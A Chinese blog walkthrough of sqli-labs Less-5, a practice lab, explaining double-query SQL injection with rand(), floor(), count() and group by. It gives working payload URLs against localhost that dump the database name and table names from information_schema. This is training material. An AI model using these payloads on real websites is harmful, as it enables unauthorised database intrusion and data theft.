Sqli-lab 5

时间：2021-08-26 12:41:19 阅读：26 评论：0 收藏：0 [点我收藏+]

0x00双注入常见函数

rand()：这里的随机数函数是会生成0~1的一串小数。

floor():取整函数，而且是向下取整的。

count()：比如COUNT(column_name) 函数返回指定列的值的数目（NULL 不计入）。

来看看实例

rand()

技术分享图片

floor()向下取整很直观

技术分享图片

count()函数,这里是1个用户返回对应的值也就是1了

技术分享图片

构造一个双查询语句来看看

select concat((select database()),floor(rand()*2));

技术分享图片

这里可以看到结果，是先执行的子查询，然后在执行父查询.

select concat((select database())) from emails;

这里我们后面跟上一个from 表名，就会返回查出对应表多少列数的数据，这里emails表是8列，返回也是8列

技术分享图片

这里的语句加了as list .... group by list,是通过子查询的结果作为一个名为list的分组

 select  concat((select database()),floor(rand()*2 ))as list from information_schema.schemata group by list;

技术分享图片

这里加个count(*)，把相同的分到一组，information_schema.schemata，数据库共有7个

技术分享图片

0x01注入暴库

payload：

http://127.0.0.1/sql/Less-5/
?id=1‘ union select null,count(*),concat((select database()),floor(rand()*2))as list from information_schema.tables group by list %23

技术分享图片

暴表名

payload：

http://127.0.0.1/sql/Less-5/
?id=1‘ union select null,count(*),concat((select table_name from information_schema.tables where 
 table_schema=‘security‘ ),floor(rand()*2 ))as list from information_schema.tables group by list %23

这里返回值大于1列，表不止一个，但是只能显示1个，怎么办呢？

技术分享图片

这里就要用到之前说的limit函数了，通过它来查询我们指定的显示，

这里用limit来指定显示 3开始的1条数据，就是users表了

http://127.0.0.1/sql/Less-5/
?id=1‘ union select null,count(*),concat((select table_name from information_schema.tables where 
 table_schema=‘security‘ limit 3,1 ),floor(rand()*2 ))as list from information_schema.tables group by list %23

技术分享图片